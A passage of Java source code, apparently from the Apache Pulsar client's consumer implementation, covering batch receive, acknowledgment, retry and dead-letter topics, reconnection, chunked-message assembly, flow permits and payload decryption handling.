internalBatchReceiveAsync().get(); } catch (InterruptedException | ExecutionException e) { State state = getState(); if (state != State.Closing && state != State.Closed) { stats.incrementNumBatchReceiveFailed(); throw PulsarClientException.unwrap(e); } else { return null; } } } @Override protected CompletableFuture<Messages<T>> internalBatchReceiveAsync() { CompletableFutureCancellationHandler cancellationHandler = new CompletableFutureCancellationHandler(); CompletableFuture<Messages<T>> result = cancellationHandler.createFuture(); internalPinnedExecutor.execute(() -> { if (pendingBatchReceives == null) { pendingBatchReceives = Queues.newConcurrentLinkedQueue(); } if (hasEnoughMessagesForBatchReceive()) { MessagesImpl<T> messages = getNewMessagesImpl(); Message<T> msgPeeked = incomingMessages.peek(); while (msgPeeked != null && messages.canAdd(msgPeeked)) { Message<T> msg = incomingMessages.poll(); if (msg != null) { messageProcessed(msg); Message<T> interceptMsg = beforeConsume(msg); messages.add(interceptMsg); } msgPeeked = incomingMessages.peek(); } result.complete(messages); } else { OpBatchReceive<T> opBatchReceive = OpBatchReceive.of(result); pendingBatchReceives.add(opBatchReceive); cancellationHandler.setCancelAction(() -> pendingBatchReceives.remove(opBatchReceive)); } }); return result; } @Override protected CompletableFuture<Void> doAcknowledge(MessageId messageId, AckType ackType, Map<String, Long> properties, TransactionImpl txn) { checkArgument(messageId instanceof MessageIdImpl); if (getState() != State.Ready && getState() != State.Connecting) { stats.incrementNumAcksFailed(); PulsarClientException exception = new PulsarClientException("Consumer not ready. State: " + getState()); if (AckType.Individual.equals(ackType)) { onAcknowledge(messageId, exception); } else if (AckType.Cumulative.equals(ackType)) { onAcknowledgeCumulative(messageId, exception); } return FutureUtil.failedFuture(exception); } if (txn != null) { return doTransactionAcknowledgeForResponse(messageId, ackType, null, properties, new TxnID(txn.getTxnIdMostBits(), txn.getTxnIdLeastBits())); } return acknowledgmentsGroupingTracker.addAcknowledgment((MessageIdImpl) messageId, ackType, properties); } @Override protected CompletableFuture<Void> doAcknowledge(List<MessageId> messageIdList, AckType ackType, Map<String, Long> properties, TransactionImpl txn) { return this.acknowledgmentsGroupingTracker.addListAcknowledgment(messageIdList, ackType, properties); } @SuppressWarnings("unchecked") @Override protected CompletableFuture<Void> doReconsumeLater(Message<?> message, AckType ackType, Map<String, Long> properties, long delayTime, TimeUnit unit) { MessageId messageId = message.getMessageId(); if (messageId == null) { return FutureUtil.failedFuture(new PulsarClientException .InvalidMessageException("Cannot handle message with null messageId")); } if (messageId instanceof TopicMessageIdImpl) { messageId = ((TopicMessageIdImpl) messageId).getInnerMessageId(); } checkArgument(messageId instanceof MessageIdImpl); if (getState() != State.Ready && getState() != State.Connecting) { stats.incrementNumAcksFailed(); PulsarClientException exception = new PulsarClientException("Consumer not ready. State: " + getState()); if (AckType.Individual.equals(ackType)) { onAcknowledge(messageId, exception); } else if (AckType.Cumulative.equals(ackType)) { onAcknowledgeCumulative(messageId, exception); } return FutureUtil.failedFuture(exception); } if (delayTime < 0) { delayTime = 0; } if (retryLetterProducer == null) { createProducerLock.writeLock().lock(); try { if (retryLetterProducer == null) { retryLetterProducer = client.newProducer(schema) .topic(this.deadLetterPolicy.getRetryLetterTopic()) .enableBatching(false) .blockIfQueueFull(false) .create(); } } catch (Exception e) { log.error("Create retry letter producer exception with topic: {}", deadLetterPolicy.getRetryLetterTopic(), e); } finally { createProducerLock.writeLock().unlock(); } } CompletableFuture<Void> result = new CompletableFuture<>(); if (retryLetterProducer != null) { try { MessageImpl<T> retryMessage = (MessageImpl<T>) getMessageImpl(message); String originMessageIdStr = getOriginMessageIdStr(message); String originTopicNameStr = getOriginTopicNameStr(message); SortedMap<String, String> propertiesMap = getPropertiesMap(message, originMessageIdStr, originTopicNameStr); int reconsumetimes = 1; if (propertiesMap.containsKey(RetryMessageUtil.SYSTEM_PROPERTY_RECONSUMETIMES)) { reconsumetimes = Integer.parseInt(propertiesMap.get(RetryMessageUtil.SYSTEM_PROPERTY_RECONSUMETIMES)); reconsumetimes = reconsumetimes + 1; } propertiesMap.put(RetryMessageUtil.SYSTEM_PROPERTY_RECONSUMETIMES, String.valueOf(reconsumetimes)); propertiesMap.put(RetryMessageUtil.SYSTEM_PROPERTY_DELAY_TIME, String.valueOf(unit.toMillis(delayTime))); if (reconsumetimes > this.deadLetterPolicy.getMaxRedeliverCount() && StringUtils.isNotBlank(deadLetterPolicy.getDeadLetterTopic())) { initDeadLetterProducerIfNeeded(); MessageId finalMessageId = messageId; deadLetterProducer.thenAccept(dlqProducer -> { TypedMessageBuilder<byte[]> typedMessageBuilderNew = dlqProducer.newMessage(Schema.AUTO_PRODUCE_BYTES(retryMessage.getReaderSchema().get())) .value(retryMessage.getData()) .properties(propertiesMap); typedMessageBuilderNew.sendAsync().thenAccept(msgId -> { doAcknowledge(finalMessageId, ackType, properties, null).thenAccept(v -> { result.complete(null); }).exceptionally(ex -> { result.completeExceptionally(ex); return null; }); }).exceptionally(ex -> { result.completeExceptionally(ex); return null; }); }).exceptionally(ex -> { result.completeExceptionally(ex); deadLetterProducer = null; return null; }); } else { TypedMessageBuilder<T> typedMessageBuilderNew = retryLetterProducer.newMessage() .value(retryMessage.getValue()) .properties(propertiesMap); if (delayTime > 0) { typedMessageBuilderNew.deliverAfter(delayTime, unit); } if (message.hasKey()) { typedMessageBuilderNew.key(message.getKey()); } typedMessageBuilderNew.send(); return doAcknowledge(messageId, ackType, properties, null); } } catch (Exception e) { log.error("Send to retry letter topic exception with topic: {}, messageId: {}", retryLetterProducer.getTopic(), messageId, e); Set<MessageId> messageIds = Collections.singleton(messageId); unAckedMessageTracker.remove(messageId); redeliverUnacknowledgedMessages(messageIds); } } MessageId finalMessageId = messageId; result.exceptionally(ex -> { Set<MessageId> messageIds = Collections.singleton(finalMessageId); unAckedMessageTracker.remove(finalMessageId); redeliverUnacknowledgedMessages(messageIds); return null; }); return result; } private SortedMap<String, String> getPropertiesMap(Message<?> message, String originMessageIdStr, String originTopicNameStr) { SortedMap<String, String> propertiesMap = new TreeMap<>(); if (message.getProperties() != null) { propertiesMap.putAll(message.getProperties()); } propertiesMap.put(RetryMessageUtil.SYSTEM_PROPERTY_REAL_TOPIC, originTopicNameStr); propertiesMap.put(RetryMessageUtil.SYSTEM_PROPERTY_ORIGIN_MESSAGE_ID, originMessageIdStr); return propertiesMap; } private String getOriginMessageIdStr(Message<?> message) { if (message instanceof TopicMessageImpl) { return ((TopicMessageIdImpl) message.getMessageId()).getInnerMessageId().toString(); } else if (message instanceof MessageImpl) { return message.getMessageId().toString(); } return null; } private String getOriginTopicNameStr(Message<?> message) { if (message instanceof TopicMessageImpl) { return ((TopicMessageIdImpl) message.getMessageId()).getTopicName(); } else if (message instanceof MessageImpl) { return message.getTopicName(); } return null; } private MessageImpl<?> getMessageImpl(Message<?> message) { if (message instanceof TopicMessageImpl) { return (MessageImpl<?>) ((TopicMessageImpl<?>) message).getMessage(); } else if (message instanceof MessageImpl) { return (MessageImpl<?>) message; } return null; } @Override public void negativeAcknowledge(MessageId messageId) { negativeAcksTracker.add(messageId); // Ensure the message is not redelivered for ack-timeout, since we did receive an "ack" unAckedMessageTracker.remove(messageId); } @Override public void connectionOpened(final ClientCnx cnx) { if (getState() == State.Closing || getState() == State.Closed) { setState(State.Closed); closeConsumerTasks(); deregisterFromClientCnx(); client.cleanupConsumer(this); failPendingReceive(); clearReceiverQueue(); return; } setClientCnx(cnx); log.info("[{}][{}] Subscribing to topic on cnx {}, consumerId {}", topic, subscription, cnx.ctx().channel(), consumerId); long requestId = client.newRequestId(); if (duringSeek.get()) { acknowledgmentsGroupingTracker.flushAndClean(); } int currentSize; synchronized (this) { currentSize = incomingMessages.size(); startMessageId = clearReceiverQueue(); if (possibleSendToDeadLetterTopicMessages != null) { possibleSendToDeadLetterTopicMessages.clear(); } } boolean isDurable = subscriptionMode == SubscriptionMode.Durable; MessageIdData startMessageIdData = null; if (isDurable) { // For regular durable subscriptions, the message id from where to restart will be determined by the broker. startMessageIdData = null; } else if (startMessageId != null) { // For non-durable we are going to restart from the next entry startMessageIdData = new MessageIdData() .setLedgerId(startMessageId.getLedgerId()) .setEntryId(startMessageId.getEntryId()) .setBatchIndex(startMessageId.getBatchIndex()); } SchemaInfo si = schema.getSchemaInfo(); if (si != null && (SchemaType.BYTES == si.getType() || SchemaType.NONE == si.getType())) { // don't set schema for Schema.BYTES si = null; } // startMessageRollbackDurationInSec should be consider only once when consumer connects to first time long startMessageRollbackDuration = (startMessageRollbackDurationInSec > 0 && startMessageId != null && startMessageId.equals(initialStartMessageId)) ? startMessageRollbackDurationInSec : 0; ByteBuf request = Commands.newSubscribe(topic, subscription, consumerId, requestId, getSubType(), priorityLevel, consumerName, isDurable, startMessageIdData, metadata, readCompacted, conf.isReplicateSubscriptionState(), InitialPosition.valueOf(subscriptionInitialPosition.getValue()), startMessageRollbackDuration, si, createTopicIfDoesNotExist, conf.getKeySharedPolicy()); cnx.sendRequestWithId(request, requestId).thenRun(() -> { synchronized (ConsumerImpl.this) { if (changeToReadyState()) { consumerIsReconnectedToBroker(cnx, currentSize); } else { // Consumer was closed while reconnecting, close the connection to make sure the broker // drops the consumer on its side setState(State.Closed); deregisterFromClientCnx(); client.cleanupConsumer(this); cnx.channel().close(); return; } } resetBackoff(); boolean firstTimeConnect = subscribeFuture.complete(this); // if the consumer is not partitioned or is re-connected and is partitioned, we send the flow // command to receive messages. // For readers too (isDurable==false), the partition idx will be set though we have to // send available permits immediately after establishing the reader session if (!(firstTimeConnect && hasParentConsumer && isDurable) && conf.getReceiverQueueSize() != 0) { increaseAvailablePermits(cnx, conf.getReceiverQueueSize()); } }).exceptionally((e) -> { deregisterFromClientCnx(); if (getState() == State.Closing || getState() == State.Closed) { // Consumer was closed while reconnecting, close the connection to make sure the broker // drops the consumer on its side cnx.channel().close(); return null; } log.warn("[{}][{}] Failed to subscribe to topic on {}", topic, subscription, cnx.channel().remoteAddress()); if (e.getCause() instanceof PulsarClientException && PulsarClientException.isRetriableError(e.getCause()) && System.currentTimeMillis() < subscribeTimeout) { reconnectLater(e.getCause()); } else if (!subscribeFuture.isDone()) { // unable to create new consumer, fail operation setState(State.Failed); closeConsumerTasks(); subscribeFuture.completeExceptionally( PulsarClientException.wrap(e, String.format("Failed to subscribe the topic %s with subscription " + "name %s when connecting to the broker", topicName.toString(), subscription))); client.cleanupConsumer(this); } else if (e.getCause() instanceof TopicDoesNotExistException) { // The topic was deleted after the consumer was created, and we're // not allowed to recreate the topic. This can happen in few cases: // * Regex consumer getting error after topic gets deleted // * Regular consumer after topic is manually delete and with // auto-topic-creation set to false // No more retries are needed in this case. setState(State.Failed); closeConsumerTasks(); client.cleanupConsumer(this); log.warn("[{}][{}] Closed consumer because topic does not exist anymore {}", topic, subscription, cnx.channel().remoteAddress()); } else { // consumer was subscribed and connected but we got some error, keep trying reconnectLater(e.getCause()); } return null; }); } protected void consumerIsReconnectedToBroker(ClientCnx cnx, int currentQueueSize) { log.info("[{}][{}] Subscribed to topic on {} -- consumer: {}", topic, subscription, cnx.channel().remoteAddress(), consumerId); AVAILABLE_PERMITS_UPDATER.set(this, 0); } /** * Clear the internal receiver queue and returns the message id of what was the 1st message in the queue that was * not seen by the application */ private BatchMessageIdImpl clearReceiverQueue() { List<Message<?>> currentMessageQueue = new ArrayList<>(incomingMessages.size()); incomingMessages.drainTo(currentMessageQueue); resetIncomingMessageSize(); if (duringSeek.compareAndSet(true, false)) { return seekMessageId; } else if (subscriptionMode == SubscriptionMode.Durable) { return startMessageId; } if (!currentMessageQueue.isEmpty()) { MessageIdImpl nextMessageInQueue = (MessageIdImpl) currentMessageQueue.get(0).getMessageId(); BatchMessageIdImpl previousMessage; if (nextMessageInQueue instanceof BatchMessageIdImpl) { // Get on the previous message within the current batch previousMessage = new BatchMessageIdImpl(nextMessageInQueue.getLedgerId(), nextMessageInQueue.getEntryId(), nextMessageInQueue.getPartitionIndex(), ((BatchMessageIdImpl) nextMessageInQueue).getBatchIndex() - 1); } else { // Get on previous message in previous entry previousMessage = new BatchMessageIdImpl(nextMessageInQueue.getLedgerId(), nextMessageInQueue.getEntryId() - 1, nextMessageInQueue.getPartitionIndex(), -1); } // release messages if they are pooled messages currentMessageQueue.forEach(Message::release); return previousMessage; } else if (!lastDequeuedMessageId.equals(MessageId.earliest)) { // If the queue was empty we need to restart from the message just after the last one that has been dequeued // in the past return new BatchMessageIdImpl((MessageIdImpl) lastDequeuedMessageId); } else { // No message was received or dequeued by this consumer. Next message would still be the startMessageId return startMessageId; } } /** * send the flow command to have the broker start pushing messages */ private void sendFlowPermitsToBroker(ClientCnx cnx, int numMessages) { if (cnx != null && numMessages > 0) { if (log.isDebugEnabled()) { log.debug("[{}] [{}] Adding {} additional permits", topic, subscription, numMessages); } if (log.isDebugEnabled()) { cnx.ctx().writeAndFlush(Commands.newFlow(consumerId, numMessages)) .addListener(writeFuture -> { if (!writeFuture.isSuccess()) { log.debug("Consumer {} failed to send {} permits to broker: {}", consumerId, numMessages, writeFuture.cause().getMessage()); } else { log.debug("Consumer {} sent {} permits to broker", consumerId, numMessages); } }); } else { cnx.ctx().writeAndFlush(Commands.newFlow(consumerId, numMessages), cnx.ctx().voidPromise()); } } } @Override public void connectionFailed(PulsarClientException exception) { boolean nonRetriableError = !PulsarClientException.isRetriableError(exception); boolean timeout = System.currentTimeMillis() > subscribeTimeout; if ((nonRetriableError || timeout) && subscribeFuture.completeExceptionally(exception)) { setState(State.Failed); if (nonRetriableError) { log.info("[{}] Consumer creation failed for consumer {} with unretriableError {}", topic, consumerId, exception); } else { log.info("[{}] Consumer creation failed for consumer {} after timeout", topic, consumerId); } closeConsumerTasks(); deregisterFromClientCnx(); client.cleanupConsumer(this); } } @Override public CompletableFuture<Void> closeAsync() { if (getState() == State.Closing || getState() == State.Closed) { closeConsumerTasks(); return CompletableFuture.completedFuture(null); } if (!isConnected()) { log.info("[{}] [{}] Closed Consumer (not connected)", topic, subscription); setState(State.Closed); closeConsumerTasks(); deregisterFromClientCnx(); client.cleanupConsumer(this); return CompletableFuture.completedFuture(null); } stats.getStatTimeout().ifPresent(Timeout::cancel); setState(State.Closing); closeConsumerTasks(); long requestId = client.newRequestId(); CompletableFuture<Void> closeFuture = new CompletableFuture<>(); ClientCnx cnx = cnx(); if (null == cnx) { cleanupAtClose(closeFuture, null); } else { ByteBuf cmd = Commands.newCloseConsumer(consumerId, requestId); cnx.sendRequestWithId(cmd, requestId).handle((v, exception) -> { boolean ignoreException = !cnx.ctx().channel().isActive(); if (ignoreException && exception != null) { log.debug("Exception ignored in closing consumer", exception); } cleanupAtClose(closeFuture, ignoreException ? null : exception); return null; }); } return closeFuture; } private void cleanupAtClose(CompletableFuture<Void> closeFuture, Throwable exception) { log.info("[{}] [{}] Closed consumer", topic, subscription); setState(State.Closed); closeConsumerTasks(); if (exception != null) { closeFuture.completeExceptionally(exception); } else { closeFuture.complete(null); } deregisterFromClientCnx(); client.cleanupConsumer(this); // fail all pending-receive futures to notify application failPendingReceive(); } private void closeConsumerTasks() { unAckedMessageTracker.close(); if (possibleSendToDeadLetterTopicMessages != null) { possibleSendToDeadLetterTopicMessages.clear(); } acknowledgmentsGroupingTracker.close(); if (batchReceiveTimeout != null) { batchReceiveTimeout.cancel(); } stats.getStatTimeout().ifPresent(Timeout::cancel); } private void failPendingReceive() { internalPinnedExecutor.execute(() -> { if (pinnedExecutor != null && !pinnedExecutor.isShutdown()) { failPendingReceives(this.pendingReceives); failPendingBatchReceives(this.pendingBatchReceives); } }); } void activeConsumerChanged(boolean isActive) { if (consumerEventListener == null) { return; } pinnedExecutor.execute(() -> { if (isActive) { consumerEventListener.becameActive(this, partitionIndex); } else { consumerEventListener.becameInactive(this, partitionIndex); } }); } void messageReceived(MessageIdData messageId, int redeliveryCount, List<Long> ackSet, ByteBuf headersAndPayload, ClientCnx cnx) { if (log.isDebugEnabled()) { log.debug("[{}][{}] Received message: {}/{}", topic, subscription, messageId.getLedgerId(), messageId.getEntryId()); } if (!verifyChecksum(headersAndPayload, messageId)) { // discard message with checksum error discardCorruptedMessage(messageId, cnx, ValidationError.ChecksumMismatch); return; } MessageMetadata msgMetadata; try { msgMetadata = Commands.parseMessageMetadata(headersAndPayload); } catch (Throwable t) { discardCorruptedMessage(messageId, cnx, ValidationError.ChecksumMismatch); return; } final int numMessages = msgMetadata.getNumMessagesInBatch(); final int numChunks = msgMetadata.hasNumChunksFromMsg() ? msgMetadata.getNumChunksFromMsg() : 0; final boolean isChunkedMessage = numChunks > 1 && conf.getSubscriptionType() != SubscriptionType.Shared; MessageIdImpl msgId = new MessageIdImpl(messageId.getLedgerId(), messageId.getEntryId(), getPartitionIndex()); if (acknowledgmentsGroupingTracker.isDuplicate(msgId)) { if (log.isDebugEnabled()) { log.debug("[{}] [{}] Ignoring message as it was already being acked earlier by same consumer {}/{}", topic, subscription, consumerName, msgId); } increaseAvailablePermits(cnx, numMessages); return; } ByteBuf decryptedPayload = decryptPayloadIfNeeded(messageId, msgMetadata, headersAndPayload, cnx); boolean isMessageUndecryptable = isMessageUndecryptable(msgMetadata); if (decryptedPayload == null) { // Message was discarded or CryptoKeyReader isn't implemented return; } // uncompress decryptedPayload and release decryptedPayload-ByteBuf ByteBuf uncompressedPayload = (isMessageUndecryptable || isChunkedMessage) ? decryptedPayload.retain() : uncompressPayloadIfNeeded(messageId, msgMetadata, decryptedPayload, cnx, true); decryptedPayload.release(); if (uncompressedPayload == null) { // Message was discarded on decompression error return; } // if message is not decryptable then it can't be parsed as a batch-message. so, add EncyrptionCtx to message // and return undecrypted payload if (isMessageUndecryptable || (numMessages == 1 && !msgMetadata.hasNumMessagesInBatch())) { // right now, chunked messages are only supported by non-shared subscription if (isChunkedMessage) { uncompressedPayload = processMessageChunk(uncompressedPayload, msgMetadata, msgId, messageId, cnx); if (uncompressedPayload == null) { return; } } if (isSameEntry(messageId) && isPriorEntryIndex(messageId.getEntryId())) { // We need to discard entries that were prior to startMessageId if (log.isDebugEnabled()) { log.debug("[{}] [{}] Ignoring message from before the startMessageId: {}", subscription, consumerName, startMessageId); } uncompressedPayload.release(); return; } final MessageImpl<T> message = MessageImpl.create(topicName.toString(), msgId, msgMetadata, uncompressedPayload, createEncryptionContext(msgMetadata), cnx, schema, redeliveryCount, poolMessages); uncompressedPayload.release(); // Enqueue the message so that it can be retrieved when application calls receive() // if the conf.getReceiverQueueSize() is 0 then discard message if no one is waiting for it. // if asyncReceive is waiting then notify callback without adding to incomingMessages queue internalPinnedExecutor.execute(() -> { if (deadLetterPolicy != null && possibleSendToDeadLetterTopicMessages != null && redeliveryCount >= deadLetterPolicy.getMaxRedeliverCount()) { possibleSendToDeadLetterTopicMessages.put((MessageIdImpl) message.getMessageId(), Collections.singletonList(message)); } if (peekPendingReceive() != null) { notifyPendingReceivedCallback(message, null); } else if (enqueueMessageAndCheckBatchReceive(message) && hasPendingBatchReceive()) { notifyPendingBatchReceivedCallBack(); } }); } else { // handle batch message enqueuing; uncompressed payload has all messages in batch receiveIndividualMessagesFromBatch(msgMetadata, redeliveryCount, ackSet, uncompressedPayload, messageId, cnx); uncompressedPayload.release(); } internalPinnedExecutor.execute(() -> tryTriggerListener()); } private void tryTriggerListener() { if (listener != null) { triggerListener(); } } private boolean isTxnMessage(MessageMetadata messageMetadata) { return messageMetadata.hasTxnidMostBits() && messageMetadata.hasTxnidLeastBits(); } private ByteBuf processMessageChunk(ByteBuf compressedPayload, MessageMetadata msgMetadata, MessageIdImpl msgId, MessageIdData messageId, ClientCnx cnx) { // Lazy task scheduling to expire incomplete chunk message if (!expireChunkMessageTaskScheduled && expireTimeOfIncompleteChunkedMessageMillis > 0) { pinnedExecutor.scheduleAtFixedRate(() -> { removeExpireIncompleteChunkedMessages(); }, expireTimeOfIncompleteChunkedMessageMillis, expireTimeOfIncompleteChunkedMessageMillis, TimeUnit.MILLISECONDS); expireChunkMessageTaskScheduled = true; } if (msgMetadata.getChunkId() == 0) { ByteBuf chunkedMsgBuffer = Unpooled.directBuffer(msgMetadata.getTotalChunkMsgSize(), msgMetadata.getTotalChunkMsgSize()); int totalChunks = msgMetadata.getNumChunksFromMsg(); chunkedMessagesMap.computeIfAbsent(msgMetadata.getUuid(), (key) -> ChunkedMessageCtx.get(totalChunks, chunkedMsgBuffer)); pendingChunkedMessageCount++; if (maxPendingChunkedMessage > 0 && pendingChunkedMessageCount > maxPendingChunkedMessage) { removeOldestPendingChunkedMessage(); } pendingChunkedMessageUuidQueue.add(msgMetadata.getUuid()); } ChunkedMessageCtx chunkedMsgCtx = chunkedMessagesMap.get(msgMetadata.getUuid()); // discard message if chunk is out-of-order if (chunkedMsgCtx == null || chunkedMsgCtx.chunkedMsgBuffer == null || msgMetadata.getChunkId() != (chunkedMsgCtx.lastChunkedMessageId + 1) || msgMetadata.getChunkId() >= msgMetadata.getTotalChunkMsgSize()) { // means we lost the first chunk: should never happen log.info("Received unexpected chunk messageId {}, last-chunk-id{}, chunkId = {}, total-chunks {}", msgId, (chunkedMsgCtx != null ? chunkedMsgCtx.lastChunkedMessageId : null), msgMetadata.getChunkId(), msgMetadata.getTotalChunkMsgSize()); if (chunkedMsgCtx != null) { if (chunkedMsgCtx.chunkedMsgBuffer != null) { ReferenceCountUtil.safeRelease(chunkedMsgCtx.chunkedMsgBuffer); } chunkedMsgCtx.recycle(); } chunkedMessagesMap.remove(msgMetadata.getUuid()); compressedPayload.release(); increaseAvailablePermits(cnx); if (expireTimeOfIncompleteChunkedMessageMillis > 0 && System.currentTimeMillis() > (msgMetadata.getPublishTime() + expireTimeOfIncompleteChunkedMessageMillis)) { doAcknowledge(msgId, AckType.Individual, Collections.emptyMap(), null); } else { trackMessage(msgId); } return null; } chunkedMsgCtx.chunkedMessageIds[msgMetadata.getChunkId()] = msgId; // append the chunked payload and update lastChunkedMessage-id chunkedMsgCtx.chunkedMsgBuffer.writeBytes(compressedPayload); chunkedMsgCtx.lastChunkedMessageId = msgMetadata.getChunkId(); // if final chunk is not received yet then release payload and return if (msgMetadata.getChunkId() != (msgMetadata.getNumChunksFromMsg() - 1)) { compressedPayload.release(); increaseAvailablePermits(cnx); return null; } // last chunk received: so, stitch chunked-messages and clear up chunkedMsgBuffer if (log.isDebugEnabled()) { log.debug("Chunked message completed chunkId {}, total-chunks {}, msgId {} sequenceId {}", msgMetadata.getChunkId(), msgMetadata.getNumChunksFromMsg(), msgId, msgMetadata.getSequenceId()); } // remove buffer from the map, add chunked messageId to unack-message tracker, and reduce pending-chunked-message count chunkedMessagesMap.remove(msgMetadata.getUuid()); unAckedChunkedMessageIdSequenceMap.put(msgId, chunkedMsgCtx.chunkedMessageIds); pendingChunkedMessageCount--; compressedPayload.release(); compressedPayload = chunkedMsgCtx.chunkedMsgBuffer; chunkedMsgCtx.recycle(); ByteBuf uncompressedPayload = uncompressPayloadIfNeeded(messageId, msgMetadata, compressedPayload, cnx, false); compressedPayload.release(); return uncompressedPayload; } /** * Notify waiting asyncReceive request with the received message * * @param message */ void notifyPendingReceivedCallback(final Message<T> message, Exception exception) { if (pendingReceives.isEmpty()) { return; } // fetch receivedCallback from queue final CompletableFuture<Message<T>> receivedFuture = pollPendingReceive(); if (receivedFuture == null) { return; } if (exception != null) { pinnedExecutor.execute(() -> receivedFuture.completeExceptionally(exception)); return; } if (message == null) { IllegalStateException e = new IllegalStateException("received message can't be null"); pinnedExecutor.execute(() -> receivedFuture.completeExceptionally(e)); return; } if (conf.getReceiverQueueSize() == 0) { // call interceptor and complete received callback trackMessage(message); interceptAndComplete(message, receivedFuture); return; } // increase permits for available message-queue messageProcessed(message); // call interceptor and complete received callback interceptAndComplete(message, receivedFuture); } private void interceptAndComplete(final Message<T> message, final CompletableFuture<Message<T>> receivedFuture) { // call proper interceptor final Message<T> interceptMessage = beforeConsume(message); // return message to receivedCallback completePendingReceive(receivedFuture, interceptMessage); } void receiveIndividualMessagesFromBatch(MessageMetadata msgMetadata, int redeliveryCount, List<Long> ackSet, ByteBuf uncompressedPayload, MessageIdData messageId, ClientCnx cnx) { int batchSize = msgMetadata.getNumMessagesInBatch(); // create ack tracker for entry aka batch MessageIdImpl batchMessage = new MessageIdImpl(messageId.getLedgerId(), messageId.getEntryId(), getPartitionIndex()); List<MessageImpl<T>> possibleToDeadLetter = null; if (deadLetterPolicy != null && redeliveryCount >= deadLetterPolicy.getMaxRedeliverCount()) { possibleToDeadLetter = new ArrayList<>(); } BatchMessageAcker acker = BatchMessageAcker.newAcker(batchSize); BitSetRecyclable ackBitSet = null; if (ackSet != null && ackSet.size() > 0) { ackBitSet = BitSetRecyclable.valueOf(SafeCollectionUtils.longListToArray(ackSet)); } SingleMessageMetadata singleMessageMetadata = new SingleMessageMetadata(); int skippedMessages = 0; try { for (int i = 0; i < batchSize; ++i) { if (log.isDebugEnabled()) { log.debug("[{}] [{}] processing message num - {} in batch", subscription, consumerName, i); } ByteBuf singleMessagePayload = Commands.deSerializeSingleMessageInBatch(uncompressedPayload, singleMessageMetadata, i, batchSize); if (isSameEntry(messageId) && isPriorBatchIndex(i)) { // If we are receiving a batch message, we need to discard messages that were prior // to the startMessageId if (log.isDebugEnabled()) { log.debug("[{}] [{}] Ignoring message from before the startMessageId: {}", subscription, consumerName, startMessageId); } singleMessagePayload.release(); ++skippedMessages; continue; } if (singleMessageMetadata.isCompactedOut()) { // message has been compacted out, so don't send to the user singleMessagePayload.release(); ++skippedMessages; continue; } if (ackBitSet != null && !ackBitSet.get(i)) { singleMessagePayload.release(); ++skippedMessages; continue; } BatchMessageIdImpl batchMessageIdImpl = new BatchMessageIdImpl(messageId.getLedgerId(), messageId.getEntryId(), getPartitionIndex(), i, batchSize, acker); final MessageImpl<T> message = MessageImpl.create(topicName.toString(), batchMessageIdImpl, msgMetadata, singleMessageMetadata, singleMessagePayload, createEncryptionContext(msgMetadata), cnx, schema, redeliveryCount, poolMessages); if (possibleToDeadLetter != null) { possibleToDeadLetter.add(message); } internalPinnedExecutor.execute(() -> { if (peekPendingReceive() != null) { notifyPendingReceivedCallback(message, null); } else if (enqueueMessageAndCheckBatchReceive(message) && hasPendingBatchReceive()) { notifyPendingBatchReceivedCallBack(); } singleMessagePayload.release(); }); } if (ackBitSet != null) { ackBitSet.recycle(); } } catch (IOException e) { log.warn("[{}] [{}] unable to obtain message in batch", subscription, consumerName); discardCorruptedMessage(messageId, cnx, ValidationError.BatchDeSerializeError); } if (possibleToDeadLetter != null && possibleSendToDeadLetterTopicMessages != null) { possibleSendToDeadLetterTopicMessages.put(batchMessage, possibleToDeadLetter); } if (log.isDebugEnabled()) { log.debug("[{}] [{}] enqueued messages in batch. queue size - {}, available queue size - {}", subscription, consumerName, incomingMessages.size(), incomingMessages.remainingCapacity()); } if (skippedMessages > 0) { increaseAvailablePermits(cnx, skippedMessages); } } private boolean isPriorEntryIndex(long idx) { return resetIncludeHead ? idx < startMessageId.getEntryId() : idx <= startMessageId.getEntryId(); } private boolean isPriorBatchIndex(long idx) { return resetIncludeHead ? idx < startMessageId.getBatchIndex() : idx <= startMessageId.getBatchIndex(); } private boolean isSameEntry(MessageIdData messageId) { return startMessageId != null && messageId.getLedgerId() == startMessageId.getLedgerId() && messageId.getEntryId() == startMessageId.getEntryId(); } /** * Record the event that one message has been processed by the application. * * Periodically, it sends a Flow command to notify the broker that it can push more messages */ @Override protected synchronized void messageProcessed(Message<?> msg) { ClientCnx currentCnx = cnx(); ClientCnx msgCnx = ((MessageImpl<?>) msg).getCnx(); lastDequeuedMessageId = msg.getMessageId(); if (msgCnx != currentCnx) { // The processed message did belong to the old queue that was cleared after reconnection. } else { increaseAvailablePermits(currentCnx); stats.updateNumMsgsReceived(msg); trackMessage(msg); } decreaseIncomingMessageSize(msg); } protected void trackMessage(Message<?> msg) { if (msg != null) { trackMessage(msg.getMessageId()); } } protected void trackMessage(MessageId messageId) { if (conf.getAckTimeoutMillis() > 0 && messageId instanceof MessageIdImpl) { MessageIdImpl id = (MessageIdImpl) messageId; if (id instanceof BatchMessageIdImpl) { // do not add each item in batch message into tracker id = new MessageIdImpl(id.getLedgerId(), id.getEntryId(), getPartitionIndex()); } if (hasParentConsumer) { //TODO: check parent consumer here // we should no longer track this message, TopicsConsumer will take care from now onwards unAckedMessageTracker.remove(id); } else { unAckedMessageTracker.add(id); } } } void increaseAvailablePermits(ClientCnx currentCnx) { increaseAvailablePermits(currentCnx, 1); } protected void increaseAvailablePermits(ClientCnx currentCnx, int delta) { int available = AVAILABLE_PERMITS_UPDATER.addAndGet(this, delta); while (available >= receiverQueueRefillThreshold && !paused) { if (AVAILABLE_PERMITS_UPDATER.compareAndSet(this, available, 0)) { sendFlowPermitsToBroker(currentCnx, available); break; } else { available = AVAILABLE_PERMITS_UPDATER.get(this); } } } public void increaseAvailablePermits(int delta) { increaseAvailablePermits(cnx(), delta); } @Override public void pause() { paused = true; } @Override public void resume() { if (paused) { paused = false; increaseAvailablePermits(cnx(), 0); } } @Override public long getLastDisconnectedTimestamp() { return connectionHandler.lastConnectionClosedTimestamp; } private ByteBuf decryptPayloadIfNeeded(MessageIdData messageId, MessageMetadata msgMetadata, ByteBuf payload, ClientCnx currentCnx) { if (msgMetadata.getEncryptionKeysCount() == 0) { return payload.retain(); } // If KeyReader is not configured throw exception based on config param if (conf.getCryptoKeyReader() == null) { switch (conf.getCryptoFailureAction()) { case CONSUME: log.warn("[{}][{}][{}] CryptoKeyReader interface is not implemented. Consuming encrypted message.", topic, subscription, consumerName); return payload.retain(); case DISCARD: log.warn( "[{}][{}][{}] Skipping decryption since CryptoKeyReader interface is not implemented and config is set to discard", topic, subscription, consumerName); discardMessage(messageId, currentCnx, ValidationError.DecryptionError); return null; case FAIL: MessageId m = new MessageIdImpl(messageId.getLedgerId(), 